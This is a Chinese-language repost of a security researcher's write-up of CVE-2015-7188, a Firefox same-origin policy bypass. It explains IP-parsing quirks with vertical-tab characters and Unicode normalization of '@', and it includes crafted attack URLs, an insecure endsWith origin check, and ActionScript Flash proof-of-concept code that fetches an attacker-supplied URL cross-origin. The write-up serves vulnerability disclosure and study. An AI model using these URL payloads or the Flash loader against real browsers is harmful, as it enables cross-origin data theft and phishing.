作者 路人甲 2016-07-07 10:43:00
被查看了2172次 , 本文转载自:乌云知识库

Firefox同源策略绕过 (CVE-2015-7188)

from:http://blog.bentkowski.info/?m=1&nsukey=wDffsgiOgT4pFXx%2BtXj1OH8aVP3wVW4zv6vMZmz5e543m7DUJ6rrvAyJYMhh5A8dCKe1hbpuFizHVQbu750jHg%3D%3D

0x00 简述

这篇报告主要讲述作者如何利用OS之间的IP解析差异来绕过同源安全策略。在构造exploit的过程当中作者巧妙地利用一些常见的技巧最后成功的实现了在装有Flash并激活了它的机器上实现同源策略绕过。另外需要补充的是,该Exploit只在HTTP协议下有效。

0x01 关于IP解析的一些基础知识

对于大多数人来说关于IP的解析真的会觉得没什么可讲。就是4个数字被“.”所分割。但其实IP也会有很多表现的形态。比如”216.58.209.68”我们就可以用下面几种方法去表达。

  • 216.58.53572
  • 0xD8.072.53572
  • 3627733316
  • 0330.3854660

如果你想了解更多细节,我推荐你去观看这个视频: https://www.youtube.com/watch?v=8t5-A4ASTIU

在对IP的多种表现形态进行各式各样的测试期间,作者发现在BSD和一些linux系统当中即便你在IP的末尾加上白空格((0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20)和一些其它的字符(其它字符需要出现在白空格以后)也依旧不会影响IP的正常解析。

#!shell
路人甲deMac-mini:~ 路人甲$ ping $'127.1\x0Ahehe'
PING 127.1
hehe (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.097 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.113 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.095 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.140 ms
^C
--- 127.1
hehe ping statistics ---
4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.095/0.111/0.140/0.018 ms
路人甲deMac-mini:~ 路人甲$

0x02 Firefox中的IP解析

经过作者的进一步测试,发现上述情况还可以在Firefox当中复现。不过这次可用的白空格的范围从0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20减少到了0x0B和0x0C(不难看出Firefox独有的IP解析代码是从BSD那儿扣过来的)。你可以在console下执行下面的代码对该现象进行复现。(应该是在Firefox的44版本得到了修复)

#!shell
location='http://127.0.0.1\x0Bwhatever_here'

在跳转过后,如果你在console继续尝试观察document.domain和location.origin你会发现没有被解码的0x0B还依然躺在那里。这种差异会让作者觉得这将会对我们构造后期的Exploit有所帮助。在这个时候作者开始尝试访问下面的URL

#!shell
"http://37.187.18.85\x0B.test.google.com"

期盼global.google.com的cookie会发到作者自己的IP。遗憾的是,期待的cookie并没有飞过来。不过这并不意味着这是不可利用的。首先,由于访问上述URL后的地址栏中google.com的部分是高亮的,所以我们也许可以通过构造类似的URL进行钓鱼。其次,如果我开发人员在对postMessage的源进行验证时使用了类似下述的代码,这将意味着我们可以利用上面的技巧来对其进行绕过。

#!shell
if(origin.endsWith('.google.com'))

这不算是个太差的结果。让我们再继续做一些其它的测试将这个特性的利用最大化。这次的测试目标是Unicode标准化。在这个充满阳光却有不缺乏邪恶的世界当中,经常会有人试图使用一些类似的字符来让受害者误以为自己访问的是某某网站,而实际上访问的却是攻击者构建的恶意站点。为了避免这一类事件的发生,浏览器就会对一些看似类似的字符进行unicode转换。有趣的是这种现象不会是只针对字符,连一些特殊字符也会被进行转换。比如:

#!shell
@ U+FF20 -> @ U+0040

让我们试着利用这种特性来构造这样的URL:

#!shell
http://37.187.18.85\x0B\uFF20google.com

这一次通过对浏览器的观察我们会发现favicon已经变成了google的。然而document.domain和location.origin中所包含的U+FF20也在Unicode标准化的洗礼下成功地变成了U+0040。所以我们的最终目标,并不是没有蛀牙。。而是欺负flash。

如果我们通过firefox去访问http://37.187.18.85\x0B\uFF20google.com,firefox会将URL转换成下面的样子后进行存储。

#!shell
http://37.187.18.85\[email protected]

随后如果我们再将URL提交给flash,flash1会以@作为分隔符,将@和其之前的部分作为用户名剔除掉。最后我们的flash就会认为它其实是在google.com下运作。

下面是在线的POC地址:http://bentkowski.info/fx_sop_bypass/

接下来是相关的flash利用代码:

#!javascript
package {
    import flash.display.Sprite;
    import flash.display.LoaderInfo;
    import flash.external.ExternalInterface;
    import flash.events.*;
    import flash.net.URLRequest; import flash.net.URLLoader;
    public class FlashTest extends Sprite {
        public function FlashTest() {
            var url:String = LoaderInfo(this.root.loaderInfo).parameters.url;
            ExternalInterface.call('console.log', LoaderInfo(this.root.loaderInfo).url);
            getURL(url);
        }   

        public function getURL(url:String):void {
            var req:URLRequest = new URLRequest(url);
            var loader:URLLoader = new URLLoader();
            loader.load(req);
            loader.addEventListener(Event.COMPLETE, loader_complete);
            loader.addEventListener(SecurityErrorEvent.SECURITY_ERROR, loader_error);
            loader.addEventListener(IOErrorEvent.IO_ERROR, loader_error);

            function loader_complete(e:Event):void {
                ExternalInterface.call("getResponse", {"status": "success", "data": e.target});
            }
            function loader_error(e:Event):void {
                ExternalInterface.call("getResponse", {"status": "error", "data": e});
            }
        }
    }
}

如果你觉得有趣可以在本机上安装Firefox44之前的版本对上述情况进行测试。

本文转载自:乌云知识库